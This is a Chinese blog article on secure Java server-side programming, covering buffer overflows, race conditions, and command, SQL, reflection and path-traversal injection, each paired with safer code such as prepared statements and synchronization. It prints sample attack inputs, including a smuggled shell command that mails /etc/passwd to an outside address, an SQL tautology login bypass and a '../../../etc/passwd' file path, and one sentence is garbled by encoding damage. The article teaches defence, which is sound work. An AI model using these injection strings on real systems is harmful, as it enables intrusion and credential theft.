`
JAVA海洋
  • 浏览: 618210 次
  • 性别: Icon_minigender_1
  • 来自: 太原
社区版块
存档分类
最新评论

Java服务器端编程安全必读

阅读更多
编写安全的Internet应用并不是一件轻而易举的事情:只要看看各个专业公告板就可以找到连续不断的安全漏洞报告。你如何保证自己的Internet应用不象其他人的应用那样满是漏洞?你如何保证自己的名字不会出现在令人难堪的重大安全事故报道中?

如果你使用Java Servlet、JavaServer Pages(JSP)或者EJB,许多难以解决的问题都已经事先解决。当然,漏洞仍有可能出现。下面我们就来看看这些漏洞是什么,以及为什么Java程序员不必担心部分C和Perl程序员必须面对的问题。

C程序员对安全漏洞应该已经很熟悉,但象OpenBSD之类的工程提供了处理此类问题的安全系统。Java语言处理这类问题的经验要比C少20年,但另一方面,Java作为一种客户端编程语言诞生,客户端对安全的要求比服务器端苛刻得多。它意味着Java的发展有着一个稳固的安全性基础。

Java原先的定位目标是浏览器。然而,浏览器本身所带的Java虚拟机虽然很不错,但却并不完美。Sun的《Chronology of security-related bugs and issues》总结了运行时环境的漏洞发现历史。我们知道,当Java用作服务器端编程语言时,这些漏洞不可能被用作攻击手段。但即使Java作为客户端编程语言,重大安全问题的数量也从1996年的6个(其中3个是相当严重的问题)降低到2000年的1个。不过,这种安全性的相对提高并不意味着Java作为服务器端编程语言已经绝对安全,它只意味着攻击者能够使用的攻击手段越来越受到限制。那么,究竟有哪些地方容易受到攻击,其他编程语言又是如何面对类似问题的呢?

缓存溢出

在C程序中,缓存溢出是最常见的安全隐患。缓存溢出在用户输入超过已分配内存空间(专供用户输入使用)时出现。缓存溢出可能成为导致应用被覆盖的关键因素。C程序很容易出现缓存溢出,但Java程序几乎不可能出现缓存溢出。

从输入流读取输入数据的C代码通常如下所示:

<ccid_nobr></ccid_nobr>
<ccid_code><font size="4"><font color="#a52a2a">char buffer[1000];
int len = read(buffer);</font></font></ccid_code>


由于缓存的大小在读入数据之前确定,系统要检查为输入保留的缓存是否足够是很困难的。缓存溢出使得用户能够覆盖程序数据结构的关键部分,从而带来了安全上的隐患。有经验的攻击者能够利用这一点直接把代码和数据插入到正在运行的程序。

在Java中,我们一般用字符串而不是字符数组保存用户输入。与前面C代码等价的Java代码如下所示:

<ccid_nobr></ccid_nobr>
<ccid_code><font size="4"><font color="#a52a2a">String buffer = in.readLine();</font></font></ccid_code>


在这里,“缓存”的大小总是和输入内容的大小完全一致。由于Java字符串在创建之后不能改变,缓存溢出也就不可能出现。退一步说,即使用字符数组替代字符串作为缓存,Java也不象C那样容易产生可被攻击者利用的安全漏洞。例如,下面的Java代码将产生溢出:

<ccid_nobr></ccid_nobr>
<ccid_code><font size="4"><font color="#a52a2a">char[] bad = new char[6];
bad[7] = 50;</font></font></ccid_code>


这段代码总是抛出一个java.lang.ArrayOutOfBoundsException异常,而该异常可以由程序自行捕获:

<ccid_nobr></ccid_nobr>
<ccid_code><font size="4"><font color="#a52a2a">try {
char[] bad = new char[6];
bad[7] = 50;
}
catch (ArrayOutOfBoundsException ex) {
... }</font></font></ccid_code>


这种处理过程永远不会导致不可预料的行为。无论用什么方法溢出一个数组,我们总是得到ArrayOutOfBoundsException异常,而Java运行时底层环境却能够保护自身免受任何侵害。一般而言,用Java字符串类型处理字符串时,我们无需担心字符串的ArrayOutOfBoundsExceptions异常,因此它是一种较为理想的选择。

Java编程模式从根本上改变了用户输入的处理方法,避免了输入缓存溢出,从而使得Java程序员摆脱了最危险的编程漏洞。

竞争状态

竞争状态即Race Condition,它是第二类最常见的应用安全漏洞。在创建(更改)资源到修改资源以禁止对资源访问的临界时刻,如果某个进程被允许访问资源,此时就会出现竞争状态。这里的关键问题在于:如果一个任务由两个必不可少的步骤构成,不管你多么想要让这两个步骤一个紧接着另一个执行,操作系统并不保证这一点。例如,在数据库中,事务机制使得两个独立的事件“原子化”。换言之,一个进程创建文件,然后把这个文件的权限改成禁止常规访问;与此同时,另外一个没有特权的进程可以处理该文件,欺骗有特权的进程错误地修改文件,或者在权限设置完毕之后仍继续对原文件进行访问。

一般地,在标准Unix和NT环境下,一些高优先级的进程能够把自己插入到任务的多个步骤之间,但这样的进程在Java服务器上是不存在的;同时,用纯Java编写的程序也不可能修改文件的许可权限。因此,大多数由文件访问导致的竞争状态在Java中不会出现,但这并不意味着Java完全地摆脱了这个问题,只不过是问题转到了虚拟机上。

我们来看看其他各种开发平台如何处理这个问题。在Unix中,我们必须确保默认文件创建模式是安全的,比如在服务器启动之前执行“umask 200”这个命令。有关umask的更多信息,请在Unix系统的命令行上执行“man umask”查看umask的man文档。


在NT环境中,我们必须操作ACL(访问控制表,Access Control List)的安全标记,保护要在它下面创建文件的目录。NT的新文件一般从它的父目录继承访问许可。请参见NT文档了解更多信息。

Java中的竞争状态大多数时候出现在临界代码区。例如,在用户登录过程中,系统要生成一个唯一的数字作为用户会话的标识符。为此,系统先产生一个随机数字,然后在散列表之类的数据结构中检查这个数字是否已经被其他用户使用。如果这个数字没有被其他用户使用,则把它放入散列表以防止其他用户使用。代码如Listing 1所示:

<ccid_nobr></ccid_nobr>
<ccid_code><font size="4"><font color="#a52a2a">(Listing 1)
// 保存已登录用户的ID
Hashtable hash;
// 随机数字生成器
Random rand;
// 生成一个随机数字
Integer id = new Integer(rand.nextInt());
while (hash.containsKey(id))
{
id = new Integer(rand.nextInt());
}
// 为当前用户保留该ID
hash.put(id, data);</font></font></ccid_code>


Listing 1的代码可能带来一个严重的问题:如果有两个线程执行Listing 1的代码,其中一个线程在hash.put(...)这行代码之前被重新调度,此时同一个随机ID就有可能被使用两次。在Java中,我们有两种方法解决这个问题。首先,Listing 1的代码可以改写成Listing 2的形式,确保只有一个线程能够执行关键代码段,防止线程重新调度,避免竞争状态的出现。第二,如果前面的代码是EJB服务器的一部分,我们最好有一个利用EJB服务器线程控制机制的唯一ID服务。

<ccid_nobr></ccid_nobr>
<ccid_code><font size="4"><font color="#a52a2a">(Listing 2)
synchronized(hash)
{
// 生成一个唯一的随机数字
Integer id =
new Integer(rand.nextInt());
while (hash.containsKey(id))
{
id = new Integer(rand.nextInt());
}
// 为当前用户保留该ID
hash.put(id, data);
}</font></font></ccid_code>


字符串解释执行

在有些编程语言中,输入字符串中可以插入特殊的函数燮衿魇蛊渲葱卸钔獾摹⒍嘤嗟亩鳌O旅娴腜erl代码就是一个例子:

<ccid_nobr></ccid_nobr>
<ccid_code><font size="4"><font color="#a52a2a">$data = "mail body";
system("/usr/sbin/sendmail -t $1 &lt; $data");</font></font></ccid_code>


显然,这些代码可以作为CGI程序的一部分,或者也可以从命令行调用。通常,它可以按照如下方式调用:

perl script.pl honest@true.com

它将把一个邮件(即“mail body”)发送给用户honest@true.com。这个例子虽然简单,但我们却可以按照如下方式进行攻击:

<ccid_nobr></ccid_nobr>
<ccid_code><font size="4"><font color="#a52a2a">perl script.pl honest@true.com;mail
cheat@liarandthief.com &lt; /etc/passwd</font></font></ccid_code>


这个命令把一个空白邮件发送给honest@true.com,同时又把系统密码文件发送给了cheat@liarandthief.com。如果这些代码是CGI程序的一部分,它会给服务器的安全带来重大的威胁。

Perl程序员常常用外部程序(比如sendmail)扩充Perl的功能,以避免用脚本来实现外部程序的功能。然而,Java有着相当完善的API。比如对于邮件发送,JavaMail API就是一个很好的API。但是,如果你比较懒惰,想用外部的邮件发送程序发送邮件:

<ccid_nobr></ccid_nobr>
<ccid_code><font size="4"><font color="#a52a2a">Runtime.getRuntime().exec("/usr/sbin/sendmail -t $retaddr &lt; $data");</font></font></ccid_code>


事实上这是行不通的。Java一般不允许把OS级“<”和“;”之类的构造符号作为Runtime.exec()的一部分。你可能会尝试用下面的方法解决这个问题:

<ccid_nobr></ccid_nobr>
<ccid_code><font size="4"><font color="#a52a2a">Runtime.getRuntime().exec("sh /usr/sbin/sendmail -t $retaddr &lt; $data");</font></font></ccid_code>

但是,这种代码是不安全的,它把前面Perl代码面临的危险带入了Java程序。按照常规的Java方法解决问题有时看起来要比取巧的方法复杂一点,但它几乎总是具有更好的可移植性、可扩展性,而且更安全、错误更少。Runtime.exec()只是该问题的一个简单例子,其他许多情形更复杂、更隐蔽。

让我们来考虑一下Java的映像API(Reflection API)。Java映像API允许我们在运行时决定调用对象的哪一个方法。任何由用户输入命令作为映像查找条件的时机都可能成为系统的安全弱点。例如,下面的代码就有可能产生这类问题:

<ccid_nobr></ccid_nobr>
<ccid_code><font size="4"><font color="#a52a2a">Method m = bean.getClass().getMethod(action, new Class[] {});
m.invoke(bean, new Object[] {});</font></font></ccid_code>


如果“action”的值允许用户改变,这里就应该特别注意了。注意,这种现象可能会在一些令人奇怪的地方出现——或许最令人奇怪的地方就是JSP。大多数JSP引擎用映像API实现下面的功能:

<ccid_nobr></ccid_nobr>
<ccid_code><font size="4"><font color="#a52a2a">&lt;jsp:setProperty name="bean" property="*" /&gt;</font></font></ccid_code>


这个Bean的set方法应该特别注意,因为所有这些方法都可以被远程用户调用。例如,对于Listing 3的Bean和Listing 4的JSP页面:

<ccid_nobr></ccid_nobr>
<ccid_code><font size="4"><font color="#a52a2a">(Listing 3)
public class Example
{
public void setName(String name) {
this.name = name; }
public String getName() { return name; }
public void setPassword(String pass) {
this. pass = pass; }
public String getPassword() { return
pass; }
private String name;
private String pass;
}
(Listing 4)
&lt;%@ page import="Example" %&gt;
&lt;jsp:useBean id="example" scope="page"
class="Example" /&gt;
&lt;jsp:setProperty name="example" property="*" /&gt;
&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Bean示例&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;form&gt;
&lt;input type="text" name="name" size="30"&gt;
&lt;input type="submit" value="Submit"&gt;
&lt;/form&gt;
&lt;/html&gt;</font></font></ccid_code>


从表面上看,这些代码只允许用户访问example Bean的名字。然而,了解该系统的用户可以访问“http://whereever.com/example.jsp?name=Fred&password=hack”这种URL。这个URL既改变name属性,也改变password密码属性。当然,这应该不是页面编写者的意图,作者的意图是设计一个只允许用户访问名字属性的页面。因此,在使用

<ccid_nobr></ccid_nobr>
<ccid_code><font size="4"><font color="#a52a2a">&lt;jsp:setProperty property=&amp;quot;*&amp;quot; ... /&amp;gt;。&gt;</font></font></ccid_code>


时应该非常小心。

字符串被解释执行的问题可能在允许嵌入脚本代码的任何环境中出现。例如,这类问题可能在Xalan(也称为LotusXSL)中出现,当然这是指系统设置不严格、易受攻击的情况下。

Xalan的脚本支持能够关闭(而且这是Xalan的默认设置),在敏感的应用中关闭脚本支持是一种明智的选择。当你需要用DOM处理XML文档时还必须考虑到另外一点:DOM保证所有文本都经过正确的转义处理,防止非法的标记插入到脚本之内。LotusXSL缺乏这个功能,但这绝不是一个BUG。支持脚本是LotusXSL的一个特色,而且它(明智地)默认处于关闭状态。XSL的W3C规范并没有规定支持脚本的能力。

现在我们来看看字符串解释执行如何影响SQL和JDBC。假设我们要以用户名字和密码为条件搜索数据库中的用户,Listing 5的Servlet代码看起来不错,但事实上它却是危险的。

<ccid_nobr></ccid_nobr>
<ccid_code><font size="4"><font color="#a52a2a">(Listing 5)
String user = request.getAttribute("username");
String pass = request.getAttribute("password");
String query = "SELECT id FROM users WHERE
username="+user+" AND password="+pass;
Statement stmt = con.createStatement(query);
ResultSet rs = con.executeQuery(query);
if (rs.next())
{
// 登录成功
int id = rs.getInt(1);
...
}
else
{
// 登录失败
...
}</font></font></ccid_code>


如果用户输入的查询条件中,用户名字等于“fred”,密码等于“something”,则系统执行的查询实际上是:

<ccid_nobr></ccid_nobr>
<ccid_code><font size="4"><font color="#a52a2a">SELECT id FROM users WHERE
username='fred' AND password=
'something'</font></font></ccid_code>


这个查询能够正确地对用户名字和密码进行检查。但是,如果用户输入的查询条件中,名字等于“fred' AND ('a'='b”,密码等于“blah') OR 'a'='a”,此时系统执行的查询变成了:

<ccid_nobr></ccid_nobr>
<ccid_code><font size="4"><font color="#a52a2a">SELECT id FROM users
WHERE username='fred' AND (
'a'='b' AND password='blah') OR 'a'='a'</font></font></ccid_code>


可以看出,这个查询无法正确地对用户名字和密码进行检查。Listing 6的代码要安全得多,它从根本上防止了用户修改SQL命令逃避检查。

<ccid_nobr></ccid_nobr>
<ccid_code><font size="4"><font color="#a52a2a">(Listing 6)
String user = request.getAttribute("username");
String pass = request.getAttribute("password");
String query = "SELECT id FROM users
WHERE username=? AND password=?";
PreparedStatement stmt = con.prepareStatement(query);
stmt.setString(1, user);
stmt.setString(2, pass);
ResultSet rs = stmt.executeQuery();
...</font></font></ccid_code>


所有对文件系统的访问都是字符串可能被解释执行的地方。用Java访问文件系统时,我们应该注意文件的命名方式。Listing 7是一个可能带来危险的例子。这个程序根据用户输入决定读取哪个文件,它的危险就在于攻击者能够输入“../../../etc/passwd”这样的文件名字并获得系统的密码文件。这可不是我们希望出现的事情。预防出现这种安全漏洞最简单的方法是:除非绝对需要,否则不要使用平面文件(Flat File)。

<ccid_nobr></ccid_nobr>
<ccid_code><font size="4"><font color="#a52a2a">(Listing 7)
public class UnsafeServlet
{
public void doGet(HttpServletRequest request,
HttpServletResponse response)
{
String product = request.getAttribute("product");
Reader fin = new FileReader(
"/usr/unsafe/products/"+ product);
BufferedReader in = new BufferedReader(fin);
String cost = in.readLine();
// 其他处理过程
response.getWriter().println(cost);
}
}</font></font></ccid_code>


大多数服务器系统,包括Servlet、JSP和EJB,都支持不直接依赖文件系统访问的配置方法。使用定制的SecurityManager或者使用一个简单的检查脚本(检查程序是否直接操作文件系统以及是否使用映像API),我们就可以实施“无文件系统直接访问”策略。尽管大多数应用服务器允许使用文件系统,但一个好的EJB不会使用它。

最后,请务必不要忘记保持数据充分分离、精确定义这一良好的编程习惯。假设我们有一个用来保存用户信息的数据库,现在需要增加一个字段标示用户是否具有超级用户权限。如果在原来的表中增加一个列实在过于复杂,采用下面这种方法就变得很有吸引力:在用户名字中加上一个特殊字符表示用户是否具有特殊权限,当用户登录时检查该特殊字符,以便防止非法用户宣称自己拥有特殊权限。但事实上,这种做法是非常有害的。所有的数据域,不管它是在数据库中还是作为局部变量,都应该精确定义且只保存一份信息。

基本原则总结

根据上述讨论,我们得到如下防止出现安全问题的基本原则:

· 对于各个输入域,严格地定义系统可接受的合法输入字符,拒绝所有其他输入内容。

· 应该尽可能早地对用户输入进行检查,使得使用危险数据的区域减到最小。

· 不要依赖浏览器端JavaScript进行安全检查(尽管对用户来说这是一种非常有用的功能),所有已经在客户端进行的检查应该在服务器端再进行一次。

这些原则有助于消除大量的安全问题。本质上,在应用这一级上,URL和POST数据是用户和应用交互的唯一途径,所以我们的注意力应该集中在URL和用户输入数据的安全性上。

当然,简单地遵从本文的建议并不能够保证绝对的安全。你必须分析其他各方面的因素,包括网络的安全性以及你所用到的其他服务的安全性。

每天都有新的安全漏洞被发现和修正。在系统足够安全、可以连接到Internet之前,请务必听取专家的建议;在正式提交源代码之前,一定要留意可能存在的漏洞。小心永不过份。
分享到:
评论

相关推荐

    2022年Java服务器端编程安全必读Java教程.docx

    【Java服务器端编程安全】\n\n在Java服务器端编程中,安全性是至关重要的,因为一个小小的安全疏漏可能导致重大的数据泄露或系统崩溃。Java作为一种面向对象的编程语言,自诞生以来就注重安全特性,尤其在服务器端...

    java并发编程实战(中文+高清版)pdf及源码

    并发编程是现代软件开发中的重要组成部分,特别是在服务器端和分布式系统中,有效地利用多核处理器的能力,提高程序的执行效率是关键。Java语言为并发编程提供了丰富的API和工具,如线程、同步机制、并发集合以及...

    Java网络编程学习资料汇总

    在Java的`java.net`包中,提供了Socket和ServerSocket类来处理客户端和服务器端的连接。例如,ServerSocket用于监听客户端的连接请求,而Socket则用于建立实际的连接并发送/接收数据。 其次,HTTP(超文本传输协议...

    JAVA程序员必读.7z

    Java编程语言是软件开发领域中最广泛使用的编程语言之一,尤其在企业级应用和服务器端开发中占据主导地位。"JAVA程序员必读"这个压缩包文件很可能是为了帮助Java程序员提升技能,了解最新的技术和最佳实践而准备的一...

    JAVA程序员必读基础篇

    9. **网络编程**:理解Socket编程,如何创建客户端和服务器端的连接,进行数据传输。 10. **Java API**:讲解Java标准库中常用的类和接口,如Math、String、Date、Calendar等,并通过实例展示如何使用。 11. **...

    java学习笔记 初学者必读

    16.2.1. 建立TCP服务器端 16-54 16.2.2. 建立TCP客户端 16-55 16.3. 建立URL连接 16-55 16.4. UDP socket 16-58 16.4.1. 建立UDP 发送端 16-58 16.4.2. 建立UDP 接受端 16-59 17. java5.0的新特性 17-59 17.1. 泛型 ...

    java程序员必读基础篇

    11. **网络编程**:Java提供了Socket编程接口,用于创建客户端和服务器端的通信。理解TCP和UDP协议,以及ServerSocket和Socket类的使用。 12. **Java反射机制**:在运行时动态获取类的信息并操作类的对象,为程序...

    蓝桥Java_C组编程环境.rar

    Java是一种广泛应用于各种领域的面向对象的编程语言,因其跨平台特性而广受欢迎,尤其适合于开发大型企业级应用、Android应用程序以及服务器端程序等。 【压缩包子文件的文件名称列表】: 1. **jdk-8u261-windows-x...

    JAVA程序员必读之基础篇

    Java提供了丰富的网络编程API,如Socket和ServerSocket类,可以用来创建客户端和服务器端的应用。 10. **Java标准库** Java标准库(Java API)包含了许多预先定义的类和接口,如String类、Date类、Math类等,涵盖...

    java程序员必读基础篇 摘自南大百合精华篇

    它具有平台无关性、安全性、可移植性和高性能等优势,广泛应用于服务器端开发、移动应用、大数据处理等多个领域。 2. **Java环境搭建**:学习Java首先需要安装Java Development Kit (JDK),配置好环境变量,包括...

    JAVA程序员必读

    Java Enterprise Edition(EE)则针对企业级应用,提供了服务器端开发的框架和服务。 12. **Java开发工具**:Eclipse、IntelliJ IDEA等集成开发环境(IDE)提供了代码编辑、调试、构建等一站式功能,极大地提高了...

    零点起飞学Java Web随书源代码

    Java Web技术是开发基于Web应用程序的关键工具,它涵盖了从服务器端编程到客户端交互的各种技术。"零点起飞学Java Web随书源代码"是一个学习资源,旨在帮助初学者理解和实践Java Web开发。这本书可能详细讲解了Java ...

    jsp与js的区别(新手必读)可用.pdf

    Java Servlet是一种服务器端编程技术,用于处理HTTP请求和生成动态网页内容。 现在,lets talk about js。js是一种客户端脚本语言,用于在浏览器端执行脚本,以实现动态网页效果。js技术是基于ECMAScript标准的,...

    疯狂java课件pdf

    你将了解如何使用这些技术创建服务器端应用程序,处理HTTP请求,以及如何与数据库进行交互。如果时间允许,课件可能还会延伸到Spring框架,它是Java企业级应用开发的主流框架,涵盖了依赖注入、AOP(面向切面编程)...

    21 天学通java

    【标签】"java2"指的是Java 2平台,即J2SE(Java 2 Standard Edition),它是Java技术的核心,提供了编写桌面应用和服务器端应用的基础。J2SE包含了Java虚拟机(JVM)、类库和开发者工具,使得开发者能够编写出跨...

    java派单系统平台源码完整版带Android端完整源码和项目说明

    "源码java派单"则表示包含Java派单系统的源代码,这部分代码应该涵盖了服务器端的核心功能,如订单处理、用户管理、任务调度等。 综上所述,这个项目涉及的知识点包括: 1. **Java编程**:作为后端开发语言,Java...

Global site tag (gtag.js) - Google Analytics